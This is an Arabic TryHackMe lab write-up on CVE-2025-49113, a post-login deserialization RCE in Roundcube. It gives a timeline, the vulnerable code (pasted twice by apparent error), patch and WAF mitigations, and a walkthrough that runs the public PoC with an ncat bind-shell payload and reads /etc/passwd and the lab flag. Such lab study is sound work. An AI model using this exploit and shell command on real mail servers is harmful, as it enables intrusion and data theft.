
شرح + مختبر على THM
{{date}} {{time}}
الحالة: مكتمل
المختبر: سهل
الوسوم: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
بواسطة KRPT Paulo G. Werneck - لينكد إن - in.com/pgw-script
التأثير: تنفيذ أوامر عن بُعد بعد تسجيل الدخول (CVSS 9.9)
الإصدارات المتأثرة: ≤ 1.5.10 / 1.6.10
الإصدار المُصحَّح: 1.5.11 و 1.6.11
| التاريخ | الحدث |
|---|---|
| ~2014 | إدخال المسار program/actions/settings/upload.php مع استخدام session->append() بدون تحقق. |
| 03 يونيو 2025 | نشر باحثو @FearsOff الإشعار وأعلنوا عن إثبات المفهوم (PoC). |
| 04 يونيو 2025 | طبق Roundcube commit 0376f69 (1.6-stable) و commit 7408f31 (1.5-lts). |
| 06 يونيو 2025 | نشر إثبات المفهوم (PoC) على github. (fearsoff-org/CVE-2025-49113) |
| 10 يونيو 2025 | استغلال جماعي. |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … فيما بعد
$rcmail->session->append($type . '.files', $id, $attachment);
يصل الإدخال _from كاملاً من GET ثم يصبح جزءًا من اسم عقدة في الجلسة،
وأثناء أول append()، يقوم Roundcube بما يلي:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … فيما بعد
$rcmail->session->append($type . '.files', $id, $attachment);
إذا كان الملف موجودًا، يكون RCE قد نجح.
قم بالتحديث فوراً إلى ≥ 1.6.11 أو ≥ 1.5.11.
إذا لم تتمكن من التحديث، قم بحظر أي _from يحتوي على %22، %7C، !، . أو وحدات تحكم عبر WAF أو جدار حماية أو إعادة كتابة.
قم بتعطيل الوظائف الخطيرة (proc_open، exec، إلخ) في php.ini.
احظر عمليات الرفع في لوحة الإعدادات وراقب السجلات.
الغرفة المجانية: https://tryhackme.com/room/roundcubecve202549113
من إعداد tryhackme & strategos
افتح VM (MACHINE_IP) و AttackBox.
انتقل إلى http://MACHINE_IP/roundcube باستخدام:
المستخدم: ellieptic
كلمة المرور: ChangeMe123
سيعمل ذلك ويسجل الدخول بشكل طبيعي:

بعد التحقق من أن كل شيء يعمل، سنقوم بتنفيذ الاستغلال، لذلك سننتقل إلى إثبات المفهوم (PoC) المنشور على github المذكور سابقًا ونقوم بعمل gitclone:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

استخدام الحمولة بسيط، فقط قم بإنشاء bind shell ووجهه إلى منفذ مع ملف .php وفقًا للاستخدام أدناه:
php CVE-2025-49113.php <site> <user> <password> "<bind shell>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– يقوم السكريبت بتسجيل الدخول، وحقن كائن PHP ضار في المعامل _from، كما ذكرنا سابقًا، واستدعاء نقطة النهاية upload.php ثم فرض تسجيل الخروج لتشغيل
session_decode() → unserialize() → proc_open().
أحيانًا يظهر خطأ CSRF؛ تجاهله وانتقل إلى الخطوة التالية،
لأن الأمر غالبًا ما يكون قد نُفذ بالفعل.

إذا نجح bind shell، فإنه يستمع على المنفذ 1337 الذي حددناه، فقط نقوم بالاتصال به الآن:
nc MACHINE_IP 1337
تم الحصول على الشيل.

Byteلحل هذا السؤال، يمكننا تنفيذ cat /etc/passwd والبحث عن مستخدم maggie، أو ببساطة تنفيذ ls في /home

/etc؟THM{ICE_CUBE_DESERIALISATION}لحل هذا، قمت بتنفيذ cat /etc/flag* ولحسن الحظ كان اسم الملف flag وتمكنا من الحصول عليه.

Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
مقال FearsOff – https://fearsoff.org/research/roundcube
مدونة OffSec – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
إشعار GHSA – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com